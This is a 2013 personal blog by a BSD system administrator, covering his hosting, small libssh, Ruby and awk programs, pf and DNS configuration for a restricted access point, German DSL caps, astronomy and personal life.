Yes I'm not hosting at sourceforge.net anymore. I managed to leave them
just before my old apartment building's fire and just before SF was sold.
I do my own hosting of the sources and cvsweb and so on. Because of that
decision I follow EU export laws not US export laws.
The next BETA release will likely happen around Nov 29, 2013 right on W's
birthday (BETA_8 and 8 years old). I'm aiming for yearly releases and at
BETA_10 I hope to have enough stuff in there that I can call it RELEASE_1
but we'll see. Enjoy these changes you can download the new snapshot
(called 0.7.0) from here.
Introducing Fire Curses client
February 17th, 2013
The fire curses client (firec) is what I did while I was at my parents after
the apartment fire. It allows me to IRC in a semi-windowed environment.
Browse and download the source here:
I did not know this. And I noticed it today with packet dumping on my firewall.
In german I would say "Das ist eine Sauerei!". Anyhow I googled a little and
found this
helpful blog. Basically what DNS prefetching is, is that when you visit a
website and that website happen to have the link http://www.centroid.eu on it
the browser would conduct a lookup of this Internet name and caches it. It
could speed up things but I think it's a privacy invasion on my part because
I look at an offline wikipedia here and the citations show someone sniffing
outside my link what page I'm looking up by correlating. Yes I'm paranoid
and it's not their business.
FreeBSD Foundation gets 250 dollars in memory of Dan Moschuk, who was a FreeBSD committer and a friend of mine.
And another friend of mine gets 50 dollars or so for hosting SVPradio.com
online radio stream. It's our 100th show on March 6th, 2013, and I promised
I'd get him a bit of money in appreciation.
.
So I'm really into this by now, when there is a project that I see sense in
giving money I give them money :P. Also one has to understand that I use
OpenBSD and FreeBSD at work, so these projects help me make my money so
why shouldn't I share a little of that? I think it's right and justified.
Teleworking: Mrs. Mayer you're (still) wrong
February 28th, 2013
Recently the news of Marissa Mayer (CEO of Yahoo) pulling all teleworkers at
their organization back to their own corporate headquarters, struck me. I
found it as wrong but discussion with a few californians on IRC they were
of the perception that workers at yahoo who teleworked from home got a free
paid vacation. BBC
made an article about it.
I work from home and work is 6 timezones away in another hemisphere. This
comes to my benefit though because I'M able to do technical maintenance on
the computers at 4AM when it's 10AM here. This allows me to upkeep a "day"
lifestyle, none of that 12 hour-days insanity that I did in my 20's. In
fact everything is a lot more relaxed in operations so that we can draw
benefits from me working from 6 timezones away.
Sure there is days I wished I could have been a bit more productive or had
a buddy help me with something, but I believe my time is very productive.
Another add-on to that is that I only work 30 hours a week and cannot do
more because of illness (my doctor recommends this much). However working
from home requires discipline. That's why I have an "office", a dedicated
room in the apartment where I do my daily/eveningly tasks. This apartment
is relatively new and I did some work out of a 1-room apartment for a few
months, I'm glad that is behind me.
So I would say to Mrs. Mayer "you're not being fair to teleworkers". As
every situation is different, and teleworkers have a strange but effective
benefit.
I have made a video entry introducing my blog. I recorded off the webcam
and converted the .avi to theora with ffmpeg2theora. A Firefox browser
should be able to run this. It works on my OpenBSD box.
It's a 12 euro mic and a 30 euro webcam...that says it all.
SVPradio 100th show next Wednesday
February 28th, 2013
Be sure to check out SVP Radio on Wednesday
March 6th, starting at 6PM Eastern
North American time. We have made a few changes which allow listening through
the browser, and it may even work on an iPhone.
My first libssh program
March 7th, 2013
I have made a libssh program to sftp a file from standard input to a file
on an sftp site. I use strato hidrive cloud storage for my backups and
that is what I use this file for. I pipe it through openssl and another
one time pad program to make sure strato can't look at my stuff. I want
to share the code, here it is:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define FTPUSER "secret"
#define FTPPASS "extrasecret"
int
main(int argc, char *argv[])
{
ssh_session sess;
sftp_session sftp;
sftp_file file;
char *user = FTPUSER;
char *pass = FTPPASS;
char buf[512];
u_char md5buf[16];
char timebuf[32];
u_char *hash = NULL;
int ch, fd, rc;
int len;
int state, hlen;
int checksum = 0;
int nwritten;
struct tm *tm;
MD5_CTX ctx;
time_t now;
while ((ch = getopt(argc, argv, "mp:u:")) != -1) {
switch (ch) {
case 'm':
checksum = 1;
break;
case 'u':
user = optarg;
break;
case 'p':
pass = optarg;
break;
}
}
argc -= optind;
argv += optind;
if (argv[0] == NULL || argv[1] == NULL) {
perror("args -> IP file");
exit(1);
}
/* log in here */
if ((sess = ssh_new()) == NULL) {
perror("ssh_new");
exit(1);
}
ssh_options_set(sess, SSH_OPTIONS_HOST, argv[0]);
if ((rc = ssh_connect(sess)) != SSH_OK) {
fprintf(stderr, "error connecting to %s: %s\n", argv[0],
ssh_get_error(sess));
ssh_free(sess);
exit(1);
}
state = ssh_is_server_known(sess);
hlen = ssh_get_pubkey_hash(sess, &hash);
if (state != SSH_SERVER_KNOWN_OK) {
fprintf(stderr, "something was wrong with the session "
"state, to be sure I'll just exit here..\n");
ssh_disconnect(sess);
ssh_free(sess);
exit(1);
}
if ((rc = ssh_userauth_password(sess, user, pass)) != SSH_AUTH_SUCCESS) {
fprintf(stderr, "error authenticating...\n");
ssh_disconnect(sess);
ssh_free(sess);
exit(1);
}
if ((sftp = sftp_new(sess)) == NULL) {
fprintf(stderr, "Error allocating SFTP session: %s\n",
ssh_get_error(sess));
ssh_disconnect(sess);
ssh_free(sess);
exit(1);
}
if ((rc = sftp_init(sftp)) != SSH_OK) {
fprintf(stderr, "Error initializing SFTP session: %s\n",
sftp_get_error(sftp));
sftp_free(sftp);
ssh_disconnect(sess);
ssh_free(sess);
exit(1);
}
snprintf(buf, sizeof(buf), "/home/pjp/%s", argv[1]);
file = sftp_open(sftp, buf, O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (file == NULL) {
fprintf(stderr, "can't open file for writing: %s\n",
ssh_get_error(sess));
sftp_free(sftp);
ssh_disconnect(sess);
ssh_free(sess);
exit(1);
}
if (checksum) {
(void)MD5_Init(&ctx);
}
while ((len = read(STDIN_FILENO, &buf, sizeof(buf))) > 0) {
if (checksum) {
(void)MD5_Update(&ctx, buf, len);
}
nwritten = sftp_write(file, buf, len);
if (nwritten != len) {
fprintf(stderr, "can't write/append data to file: %s\n",
ssh_get_error(sess));
sftp_free(sftp);
ssh_disconnect(sess);
ssh_free(sess);
exit(1);
}
}
rc = sftp_close(file);
if (rc != SSH_OK) {
fprintf(stderr, "can't close the written file: %s\n",
ssh_get_error(sess));
}
sftp_free(sftp);
/* ssh cleanup */
ssh_disconnect(sess);
ssh_free(sess);
/* end checksumming */
if (checksum) {
(void)MD5_Final((u_char *)md5buf, &ctx);
fd = open("/root/history.md5", O_WRONLY | O_CREAT| O_APPEND, 0600);
if (fd < 0) {
perror("open");
exit(1);
}
now = time(NULL);
tm = localtime(&now);
strftime(timebuf, sizeof(timebuf), "%F", tm);
snprintf(buf, sizeof(buf),
"%s %s %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x\n",
timebuf, argv[1],
md5buf[0] & 0xff, md5buf[1] & 0xff, md5buf[2] & 0xff,
md5buf[3] & 0xff, md5buf[4] & 0xff, md5buf[5] & 0xff,
md5buf[6] & 0xff, md5buf[7] & 0xff, md5buf[8] & 0xff,
md5buf[9] & 0xff, md5buf[10] & 0xff, md5buf[11] & 0xff,
md5buf[12] & 0xff, md5buf[13] & 0xff, md5buf[14] & 0xff,
md5buf[15] & 0xff);
write(fd, buf, strlen(buf));
close(fd);
}
exit (0);
}
The program has hardcoded passwords, not optimal but it works. Also the
key must match or it bails immediately (or should). Have fun with this!
Ordered two books
March 8th, 2013
I have ordered two books, hoping they'll help me.
The Ruby Programming Language - David Flanagan, Yukihiro Matsumoto
Ruby Cookbook - Lucas Carlson and Leonard Richardson
I like how these aren't C like languages because I like to keep a seperation
from my C knowledge and other languages.
An era ends?
March 10th, 2013
In 1999 or so I switched globalserve.net's relay mail servers to postfix,
taking the load off sendmail. Today I switched my main mail servers to
OpenSMTPD, ending 14 years of loving
postfix. I still run postfix at work but in time we'll be able to switch
it as well, I hope.
Equinox in 2 days
March 18th, 2013
The Northward Equinox is
upon us again in 2 days on March 20th, 11:02 AM UT. This is also called the
March Equinox or for a northern hemispherer the Spring Equinox. Have fun
with this information!
First day of Spring! Goodbye Winter!
March 20th, 2013
Just like the Hooray! that I let out in 2011, I'm very excited that this winter is
gone. I'm hoping we get blue skies this spring as well. BTW that link when
you click it has a picture with an Analemma on it. I made a mistake with the
equinoxes they are in fact further down and not at the joint of the figure
eight. Oh well, I can't always have correct astronomy, astronomy is a learn
cycle, based on wrong assumptions and proofs (although I didn't proof the
analemma I just read about it in a astronomy magazine, which proofed me wrong).
Switched emea to FreeBSD
March 24th, 2013
I have switched my EMEA vps to FreeBSD. It took all day as I had to
configure jails in it, but I think I'm mostly done. I'm just watching
the 1st backup of it go through to my online storage.
OpenBSD has released it's 5.3 Song
March 25th, 2013
OpenBSD the OS that strives for best security has released it's most recent
media, the 5.3 song. They
are also doing pre-orders for the 5.3 release at
OpenBSD.org. If you've been
using OpenBSD and downloading it from the Internet, consider buying a copy
once in a while. It makes all the difference.
My sorta first ruby program
March 30th, 2013
I was watching "the bourne identity" last night and during the breaks I
programmed on my first ruby program, here it is:
#!/usr/local/bin/ruby -w
#
# this program reads from argv and takes a name argument it then says hello
#
if ARGV.size == 1
input = ARGV[0]
else
exit 1
end
#
# ok we got a name lets do something with it
#
if input == "peter"
puts "hello peter, nice of you to come back to me"
elsif input == "jason"
puts "mr bourne, you're still in paris?"
else
puts "hello " + input + ", how are you?"
end
#Process.kill("ABRT", Process.pid)
exit 0
A friendly person in an efnet channel made a 1 liner out of this:
#!/usr/local/bin/ruby -w
puts ({ "peter" => "nice of you to come back to me peter", \
"jason" => "still in paris mr bourne?" })[ARGV.shift]
Process.kill("ABRT", Process.pid)
I later added the SIGABRT's in order to look at the size of the memory image
and his has a larger memory footprint than mine. I guess size is misleading.
Next wednesday is SVP Radio's 2nd year anniversary
March 30th, 2013
Do a search for "anniversary", we've been doing this two years now.
This time there isn't as many pictures as last anniversary but it's
also our second and not the first.
Goodbye Source!
April 1st, 2013
A large company's spokesman has approached me and offered 100,000 dollars for
my source code found here
. I'm going to buy a tablet with that money, and possibly getting rid of
all my computers that have a keyboard.
I'm still anti-nuclear
April 2nd, 2013
.. and I'd like to say that I'd like to see a nuclear free a) Germany ,
b) Europe , c) Planet. Although c is much harder to achieve than a or b, I
still want to let people know that I support german dismemberment of nuclear
power plants. We can do it without these power plants I'm sure of it.
Pre-ordered OpenBSD 5.3 CD
April 6th, 2013
I have pre-ordered OpenBSD 5.3 CDs from
Lehmanns.de. Last year Lehmanns was late. Hoping it will
be different this year.
EFnet.XS4ALL.NL has K-lined Hetzner.de IP's
April 8th, 2013
I got this message on my IRC window:
[16:50:23] :efnet.xs4all.nl 465 pjp :You are banned from this server- heztner.de
are no longer welcome on efnet.xs4all.nl, due to leaking information to kiddies
. Fuck right off, hetzner. (2013/4/8 14.50)(0x0d)
[16:50:23] :pjp!~pjp@trojan.solarscale.de QUIT :Connection closed(0x0d)
[16:50:23] ERROR :Closing Link: trojan.solarscale.de (Connection closed)(0x0d)
I do hope both parties will come to an agreement to once again let me IRC
through hetzner. Pretty sick by xs4all to put pressure on hetzner this way
though.
Total Rip-Off, I'm gonna keep it!
April 12th, 2013
I ordered a book called "Berkeley Yacc" in hopes that I can understand how
yacc works better because the other book isn't doing it for me. Well
yesterday I got it. 100 pages of wikipedia printed. 2 pages covering the
story behind yacc but no internal explanations. Now because the book has
Unix and OpenBSD mentioned in it I'm gonna keep it but it's not worth
33 euros! Perhaps 6.95 or such. I left a "rezension" on amazon.de regarding
this with the title "glad to put money in your pocketses" or something.
Since there is a robots.txt file protecting this blog you won't be able
to google my disappointment but I felt I needed to let it off my chest.
Germany's Deutsche Telekom starts a 75 GB Cap on DSL
April 23rd, 2013
Germanys Deutsche Telekom has put a cap on DSL up to 16 Mbit/s. 75 GB a month.
My parents are on DT and I think I'm going to move them off, how I do that
will be a bit hard but not impossible. I'm planning on switching them to
SIP completely, if they agree. Looking at my last months stats at another
flat free provider I used a bit more than 75 GB (around 90 GB), so what DT
is doing is not right. I'm sure many people are going to debate this, and
here is my advice if you're on DT. Switch providers.
Network Rearrangement Next Week
April 25th, 2013
In a week is May 1st. That means OpenBSD 5.3 will be released and I'm going
to have to upgrade 4 computers. I'm also going to repurpose Mars my MacPPC
computer. It will become a tunnel host so that I can use IPSEC across my
wifi link. I've created a small map for this:
This will be in effect for 1 year or so, and then I will retire Mars. So this
is likely going to be its last upgrade. So what will come of Mars in 2014?
I already
wrote about it last year. Instead of retiring Jupiter I think I'll keep
it another year and I'll just get a Mars replacement called Venus. Venus will
likely be a Soekris computer with an Atom processor.
1 month left for goldflipper.net
April 25th, 2013
I got goldflipper.net in 2010. It served me for three years, but I have to give it up,
I simply don't want to keep it. Over the course of these three years I have
given out the following subdomains to people on IRC:
ted.goldflipper.net
uppland.sweden.goldflipper.net
I hope they didn't get me in trouble by usage, but I trust they won't. So
there is a month left of this then it's over.
Saturn in Libra (close to the moon)
April 25th, 2013
I recently found a screenshot
of Saturn in 2010. Back then it was in Virgo at roughly
11:53:54 Right Ascension now it is at 14:26:22 Right Ascension in the
constellation Libra. This means that in 2 years and 327 days (1057 days) it travelled
2 hours, 32 minutes and 28 seconds on a clock which is roughly 10.5% of a full
revolution of sun. Does this match when wikipeida says that
saturns year is 29.4 years or 10,759.22 earth days? 1057 / 10.5 * 100 =
10066 days. Pretty close approximation indeed. Seems Saturn is still in
the heavens like usual.
What DT is doing wrong
April 26th, 2013
By cutting the flatrate in Germany Deutsche Telekom has left not many options
on the table for its customers but to leave and seek providers elsewhere. They
say that three percent of all users use a volume worth 30% of the entire
traffic going through its customer links. That may be true, but noone has
ever complained about it before, in fact people like subsidizing the heavy
users, because sometimes they too do more downloading than ever before.
So what DT is doing wrong by cutting the flatrate is that they aren't offering
upgrade packages to existing capped bandwidth. Pretend you use up 75 GB and
are capped down to 384 Kbit/s, other than email nothing else really works at
that point. Telekom is not offering a "75 GB for 25 euro" package upgrade
of sorts so that you can continue downloading. And this is a real crime as
seen from a consumer perspective. I think Telekom is in the process of
mismanagement.
Most of these are mid sized businesses with aroudn 250,000 customers each, they
could use those 3% from the Telekom in my opinion. I invite your list of
good providers in Germany in the comments.
Taking a vacation from IRC
April 28th, 2013
I joined efnet in 1995 or 1996 as a way to get over my MUD addiction. Today
I decided I'm going to take a vacation from it. How long I don't know but
if it's forever then it be forever. Is IRC dying?
Why would a provider get rid of flatrate?
April 29th, 2013
Recently Deutsche Telekom announced that they are getting rid of their flat
rate for DSL. I've been giving this some thought, around discussion, and here
is what I've noticed:
DT is offering TV and voice over DSL both of those services are not counted
against the cap limit of 75 GB. In a way this is to prevent other TV over IP
or voice over IP providers from being an alternative because people will be
capped pretty quickly if they get TV from the United States (as an example).
I've thought perhaps they want to lose customers, a very ridiculous thought
but who knows?
Back in the days of the German Bundespost, telecommunications were strictly
controlled by a non-free market, perhaps elements in DT want such control back
DT is afraid to shed jobs and thus pushing restrictions on the users, which
will save them ultimately
These are some thoughts of mine that make me wonder. It is definitely an
attack on freedom and net neutrality in my view. I'm having trouble convincing
my parents to switch for what it's worth. At 15 GB usage last month they
aren't affected they say and they say other providers will follow suit. I
think that's not correct but we'll see.
OpenBSD 5.3 released, 3 hosts upgraded
May 1st, 2013
Today was network rearrangement day and upgrade day. I have upgraded mars,
jupiter, and luna. I didn't upgrade uranus yet because I want to figure out
some weirdnesses with it.
I now have ipsec'ed tunnels going from luna, jupiter and uranus to mars and
mars acts like a router. The ipsec'ed tunnels protect the wifi bridge which
are encrpyted too so I have extra encryption. More later.
The cravings are bad...
May 2nd, 2013
I crave chatting on IRC. This tells me I was addicted. But I'm gonna beat
the addiction, I have considered writing a program that simulates IRC with
people randomly talking about cameras and throwing numbers around (camera
model #'s) that I don't know. In fact a lot of the "trash" talk I can
probably do without, in the last few years it got especially trashy as
people lost a sense of purpose (in my opinion) why they were there.
My Compression Algorithm doesn't work
May 2nd, 2013
I have done some tests with a document I wrote in 2010 called my-compression.txt found on my /public stash. Well I came to the conclusion that there is too
many collisions to give a definite answer on a compressed segment of 38 bytes.
Too bad. I'm still hoping for a compression algorithm that can be
re-compressed, thus ending all bandwidth and volume problems. But it's just
a dream, it seems.
Google Glass doesn't really phase me
May 3rd, 2013
I wear glasses. As a teenager I wore contacts predominantly. But I can't
understand anyone wanting to give their life to google by wearing google
glasses. Oh yes, life may be better because it may have been without hope
at some point. But what of that is just illusion? Now the concept of
google glasses isn't so bad. Until the part where you upload. To Google.
Enough said.
We don't really have alternative access
May 4th, 2013
The german telco DT has capped its links to 75 GB if you use 16 Mbit DSL.
What I thought about is the alternatives... there are none. DT has assets
of 500K Euros per employee of its 230,000 workforce. And they own the copper
links. Does that mean the DT can do with us what they want? There is only
one alternative, and it doesn't scale. Check
freifunk.de which is a citizen built Wifi mesh. They do not exist on
a scale the size of Germany and beyond so they don't really scale. We need
something to counter big evil telcos who do with us what they want.
Ordered a new book from Amazon
May 5th, 2013
It's another Ruby book. I fear I never get to read all these books fully
because as soon as I get started with one I already have the next one. But
I'm easily bored, confused, irritated with some books and their delivery
style. Hoping this one will be a thriller. It's called
Practical Ruby for System Administration by Andre Ben Hamou. I should have
it delivered to my parents in 3 days.
Earworms, Ohrwurms and co.
May 6th, 2013
I've been diagnosed of
Schizophrenia at least once in my life. I also have
been diagnosed of depression
, and OCD which is a form of Tic disorder. However
what I haven't been diagnosed with is "Susceptible to Earworms" disorder.
An earworm is when you hear
music and it plays over and over in your head,
in my case it can be as little as one syllable as in a simple "oh" of the
reggae artists Vybz Kartel or as high as I would guess ten syllables.
In fact I've never heard a single voice in my head that I didn't hear before,
most of them stem from music I hear and very rarely from other recordings, yet
the headmusic keeps going at the weirdest moments.
It makes me a little
paranoid to be honest, and I suspect my medication I currently take amplifies
earworms. Now it doesn't matter what music I listen to I get the bug but I
prefer to be listening to Reggae music at home. Current head spinners that I
like listening to are Alaine - Jehovah (listen close to the syllables as they
are a classic reggae beat), Lutan Fyah - Bossman, and Turbulence & I-Shenko -
Obeah man. The latter two are off the downtown riddim collection which I like
listening to as well.
As I walk down the street with headmusic in my
brain, I wonder if it's noticeable. When I go into a supermarket I usually
get inducted with white peoples music or whatever is playing on german radio,
something like "message in a bottle" by the police/sting. Usually I leave
the store playing repeating sentences of message in a bottle in my head.
Totally bugged out!
Changed blog a little
May 6th, 2013
I hope you like it. When I went to a CSS class the instructor said that in
Germany or any place that you read left to right there is a menu bar on the
left. Well in my case it's on the right, which would make my style arabic or
persian. As a compromise I have added a black bar on the left now so that
there is bars on both sides of the article. I think it looks better now and
I'm working on fixing the jagged edges.
Asterisk patch
May 7th, 2013
I have made a patch for asterisk. They don't accept it though and I had to sign an NDA
agreement in order to submit patches. Sheesh.
Hackathon Trademark
May 8th, 2013
Peter Hansteen (I've had the pleasure of meeting him once at a EuroBSDCon),
has written about the term "hackathon" being trademarked. The
people (Young Targets) who trademarked this term charged up to 2500 euros
per violation in
Germany. On the mailing lists misc@ (OpenBSD) someone said they gave up
claim of trademark on the term "hackathon", which is a win for the free
world.
As a note of interest I was a regular at the GTABUG (Greater Toronto Area
BSD User Group) right from its start in 1999 to around 2001. In around the
year 2000, Louis Bertrand (I think) organized installathons, and word had it
that it came from the word hackathon, or the two terms came from each other.
That's probably longer in time than Young Targets had ever conceived of the
term.
Strato.com HIDRIVE is real slow today
May 8th, 2013
I decided to download my backups today and I think I'm going to do it tomorrow
morning. As, the route from 2 sources to sftp.hidrive.strato.com is real slow.
Both go through DECIX and stall all the time:
So I don't know if this should be a buyers beware signal. But let's see how it
works tomorrow.
[pjp@trojan ~]$ traceroute sftp.hidrive.strato.com
traceroute to sftp.hidrive.strato.com (85.214.3.70), 64 hops max, 52 byte packets
1 static.65.5.40.188.clients.your-server.de (188.40.5.65) 2.368 ms 2.038 ms 0.826 ms
2 hos-tr4.juniper3.rz10.hetzner.de (213.239.236.113) 0.296 ms
hos-tr2.juniper3.rz10.hetzner.de (213.239.236.81) 0.312 ms 0.304 ms
3 hos-bb1.juniper1.ffm.hetzner.de (213.239.240.224) 5.096 ms 6.030 ms 5.206 ms
4 atuin.rzone.de (80.81.192.110) 32.147 ms 5.335 ms 5.316 ms
5 te0-1-0-6.core-b1.as6724.net (85.214.0.70) 17.631 ms 17.838 ms 18.989 ms
6 be1.core-b2.as6724.net (85.214.0.33) 18.065 ms 17.918 ms 18.091 ms
7 te1-1.core-b4.as6724.net (85.214.0.37) 17.868 ms 18.046 ms 17.709 ms
8 ssh.hidrive.strato.com (85.214.3.70) 17.691 ms 17.799 ms 17.524 ms
Finished upgrading to OpenBSD 5.3
May 9th, 2013
mars - check.
jupiter - check.
luna - check.
and finally uranus - check.
All my computers that needed upgrading are
upgraded. One thing about 5.3. My IPv6 setup stopped working. Something
went in the 5.3 code that caused everything to fail. I'll have to figure out
something new...
New Intro Screen with Animation
May 10th, 2013
The Centroid.EU website has a new intro screen. If you have the blog
bookmarked you can simply click on the logo on the right hand side.
I painstakingly wrote the javascript for this, and I'm pretty proud.
NASA Asteroid Mission, not a bad idea
May 11th, 2013
So what can you do with a chunk of mass? Well for one you don't have to
bring it up by means of earth rocket. I believe the Americans are not being
honest with us in some respect. Because the asteroid is either the forerunner
or the initial counterweight to a lunar space elevator
(see here). Even if this asteroid mission is a failure at least we can stroke out
visionaries use of countermass being asteroids then. The asteroid as an LSE
counterweight is gonna make the US a lot of money, in savings. They don't have
to use precious fuel to land on the moon anymore but rather take the lift
down to the surface of the moon. And that's where the money's at, at least
in the foreseeable space-faring future.
I have drawn 2 LSE's roughly of how it looks like (one is international and the
other belongs to the USA). The counterweights span from
L1 to L2 lunar-earth orbit so the cables are around 100,000 km long.
Why do I think there is money to be made on the moon? Well for one the human
space exploration is destined to go to the moon because we have too much
space junk in earth orbit to sustain living there in reasonable safety. It
is a fact that the ISS has to fire thrusters to evade space junk every so
often and it takes supercomputers to figure out if any junk is threatening
the space station. The moon on the other hand is still a space junk virgin.
Also there is resources on the moon. It isn't just a dead rock made of
silicon and basalt (in some respects I wish it was). No. There is elements
that can harbour life as we know it, and we can mine the moon for resources.
Take the fact that asteroids occasionally fall on the surface of the moon.
These contain metals so they are just waiting to be mined. With a moon
elevator the rocks could be sent to space and there they could be molten with
an array of mirrors from the sun. By means of centrifugal forces the metal
could be extracted and formed from the impurities. Then the pure metals could
be brought back down to the surface of the moon to build further space capsules
or a set of tubes that are part of the space bases that I think are inevitable.
The trade between the moon and earth would likely be human cargo (such as
specialists to better the industrial output of the moon) and data (on the
far side of the moon there is no radio interference making it an ideal spot
for radio-astronomy and SETI).
Got a shot of moon and Jupiter
May 12th, 2013
By placing the camera on the railing of the balcony and putting on self-timer
I reduced some of the jitter for the handheld pos camera.
Politics: I'm still a pirate
May 13th, 2013
I'm looking forward to the german election in the fall. I will be voting
for the pirate party of germany as I think they are right on. My hope is
that the pirates are going to overcome the 5% of votes needed to enter
parliament. And then it'll be wake-up time for the bigger parties.
Crossing my fingers for Chris
May 13th, 2013
Tonight at 7PM EDT, Chris Hadfield undocks with two other Astronauts from
the ISS. He's the coolest Astronaut I know of. Google for him and the ISS
for some great youtube videos, they are really heart touching. I hope the
landing goes well for him when he comes back to earth.
Freifunk Schweinfurt is alive
May 13th, 2013
I have added an access point to my network. It is firewalled to shits but it
lets UDP through. A wildcarddnsd is wildcarding the entire DNS tree from root
to branch and gives out only 1 IP, it seems to work magic... here is the
config file:
version "5";
wildcard-only-for "wildcard everyone" {
0.0.0.0/0;
::/0;
}
zone "default" {
*,soa,3600,miranda.solarscale.de.,hostmaster.solarscale.de.,1,3600,1800,7200,3600
*,a,3600,192.168.32.1
}
So then I use redirection rules in pf to redirect all web and DNS to apache
httpd or wildcarddnsd.
# grep rdr-to /etc/pf.conf
match in on em0 proto udp from 192.168.32.0/24 to any port 53 rdr-to 127.0.0.1
pass in on em0 proto tcp from 192.168.32.0/24 to any port 80 rdr-to 127.0.0.1
The website says something like "dear neighbour, you can use UDP through this
gateway but it's only outbound and doesn't return inbound". I have also
rate limited how much can be sent, the rule for that is:
pass in log on em0 proto udp from 192.168.32.0/24 to any keep state (max-src-conn-rate 1/20)
This means that only 1 packet per every 20 seconds should emanate from this
access point.
What I hope to achieve with this is that people will build their own SMS
mechanism and send out SMS messages out via UDP to a gateway of sorts.
It could be interesting for someone's car ie. as soon as the car pulls up
in the parking lot next door it sends an SMS saying it's arrived at its
destination.
This is no ordinary access point, you can't surf with it, you can't do much
with it really. But it may delight someones nerdyness of what they can do.
Non-nerds need not apply, and nerds in training are welcome. My next goal
is to look at openwrt and see if I can better this access point somewhat.
My idea for a virtual reality headset
May 15th, 2013
If you haven't heard of Oculus Rift then
perhaps you're not reading the same literature and magazines as me. They
are VR goggles at a reasonable price. Right now they are in development and
we have still to see if they will make it out to the mainstream production.
Anyhow I have thought of a useful tools for headsets such as these.
Basically I want to explore my computer for security and informative needs.
What I envision is a filesystem displayed in a 3D environment ala
fsn (see also
fsv) by a program. This program
also polls the kernel for events ala inotify and displays accesses with a pop-up or flash. This way a
person can step back on the filesystem and gain the big picture. A replay
function would be good so that one can investigate what happened.
Since in UN*X everything is pretty well a file this should unearth some
questions hopefully, and then one has to search for answers. OpenBSD
currently has no inotify mechanism, and I'm investigating whether it's
worth it persuing this or whether my idea will be left for someone else...
the decision process could take years same with the development process.
OpenBSD fixes a panic I found
May 17th, 2013
I found a condition that made the kernel
panic
when I'd execute a certain code. It took less than a day to get an interested
OpenBSD developer to produce a patch, after review it'll be committed before
5.4 hopefully. This is why OpenBSD and open source in general rocks!
Second Video Blog (Vlog?) entry
May 21st, 2013
It's another bad hairday lol... I'm just very unkempt. :]
Experimenting with an RSS feed
May 21st, 2013
Today I've written a small PHP script to convert my blog to XML and RSS.
On the right hand side is now the RSS button with the feed. I'd appreciate
it if someone who knows their stuff about this would send me an email if you
noticed something wrong with this feed. Right now it only dumps the last
10 articles but I can make it higher or lower if need be. My PHP really
sucks I noticed but somehow I managed to write this out.
This is a valid RSS feed
May 22nd, 2013
I fixed it up and earned this banner from w3c.
Move DNS to TCP? Great Idea! Really...
May 22nd, 2013
I was made aware of slides from a talk by Ed Lewis from Neustar.
Here they are.
While some intention is lost by reading slides, I think what he means to say
is that in an ever evil-growing Internet, UDP DNS needs to be replaced.
I agree to this and wonder if he's been reading my contribution to
Hackepedia
regarding amplification attacks. So what's the big deal? The big deal is
that people either purposely or innocently leave recursive dns servers on
their VPS's and colocated servers. These are amounting to great numbers and
can be used for amplification attacks to great bandwidths, as a recent attack
on Spamhaus was huge.
As you may know I write a DNS server, and it's not easy, but I have some
familiarity with the protocol. What Ed Lewis is saying is true and right.
We can't wish the evil people away, we must fix the protocol to keep it from
being used for evil. One way to do that is to use TCP. Now TCP is a state-
ful protocol, it has a PCB (protocol control block) in the kernel that keeps
track of its state. In the past DNS over TCP was restricted to AXFR, and
one would not dare mention (taboo) using DNS over TCP for other resource
records. Mainly because Operating Systems wouldn't be able to keep up. But
it's the 21st century and RAM has gotten cheap. There is lots of RAM for
many PCB's and CPU's have also increased in efficiency and speed. So...
Why not? I agree something must be done.
Alphabetical countup AWK beats Ruby 1.8
May 23th, 2013
Here is the code written by Figz in awk and shell script:
#!/bin/sh
awk 'BEGIN { for (i = 65; i < 91; ++i) { c = sprintf("%c", i); h[c] = \
h[tolower(c)] = i - 64 } } { tot = 0; for (i = 1; i <= length(); ++i) \
tot += h[substr($0, i, 1)]; print tot, $0 }' /usr/share/dict/words | \
sort -n
Here is the ruby 1.8 code (took me a long time to get it right):
jupiter$ time ./syn.rb | sort -n > blah.2
0m5.10s real 0m4.78s user 0m0.06s system
jupiter$ time ./syn.sh > blah.1
0m3.45s real 0m3.38s user 0m0.04s system
jupiter$ diff -u blah.1 blah.2
I don't think I can make the ruby any faster...
Added squid proxy to mars
May 24th, 2013
I have added a squid proxy to mars. It is transparent (used with divert-to)
rules. Because of the nature of asymmetric routing going on it took me around
45 minutes to isolate where a route was going, and it was getting stuck on
my AVM Fritzbox router. I can't really blame them, but laying a static route
from mars to Gaia fixed it up. Here is the new network again:
Because the tunnels are MTU 1280 there was some sort of mismatch between
mss and fragmenting (which I don't know how well openbsd does it). It
turned out to be that Videos being loaded by Gaia would get stuck 10 minutes
into the video. I don't even try to figure that out, I placed the squid in
the network and it has a more direct route to the AVM Fritzbox which rewrites
mss and mtu anyhow becuase it uses PPPoE. The squid fixes all these things
and I'm pretty happy.
Panama getting more bandwidth in 2014
May 24th, 2013
This article talks about a new 6000 kilometer cable with landing stations in
Panama. As you may or may not know, my host americas.centroid.eu is located
in Panama and it's going to be interesting whether I will profit from this or
not. The profit would be in stability and reachability.
Goldflipper.net expires today
May 25th, 2013
Goodbye goldy. It was a good 3 years. I do hope I have everything set so
that its expiration will not cause problems on my operation. And I have
one less domain to worry about.
Purchased an ipod touch
May 29th, 2013
Yesterday, I purchased an ipod touch. I have several books on IOS programming
and intend to write my own apps for it. Also I may be using it for my
video blog entries as the camera is about the same quality as my webcam,
we'll see.
Changed the Main Page
June 2nd, 2013
Now that I have a mobile device I noticed how my site sucked on a mobile
device. So I made a redirect based on User-Agent string. This was easy
to do because the main page is served with PHP. It now redirects to a
white page. If you are on a computer and not a mobile device and it
redirects you to /mobile.php then this is an error and I'd appreciate
it if you would let me know this. Thanks.
OpenBSD Arrived! VLOG entry #3
June 4th, 2013
Finally after ordering it on April 6th, it's here!
Donation time again
June 7th, 2013
Since I was already doing a few errands, I donated 50 euros to OpenBSD. I
also renewed my VPS in Panama for another year (78 euros), and attempted
to renew my VPS in Hong Kong, however I had to submit a ticket to them first.
I'm looking forward to using all my VPS setup another year.
A second arctic route...
June 8th, 2013
On Greg's cable map there is a second
route going through the arctic and it's said to happen in 2014. Remember
I had a story about Arctic Fibre here
a while ago. While arctic fibre goes along the north-west passage the
Polarnet Project
goes along the north-east passage and is said to be 190 ms from London-Tokyo.
Remember the soundings I took with ping and traceroute and I expect that my route will
alternate between arctic fibre and polarnet when I go to hong kong after 2014.
I totally envision 280-290ms round-trip latency, it'll be awesome! My
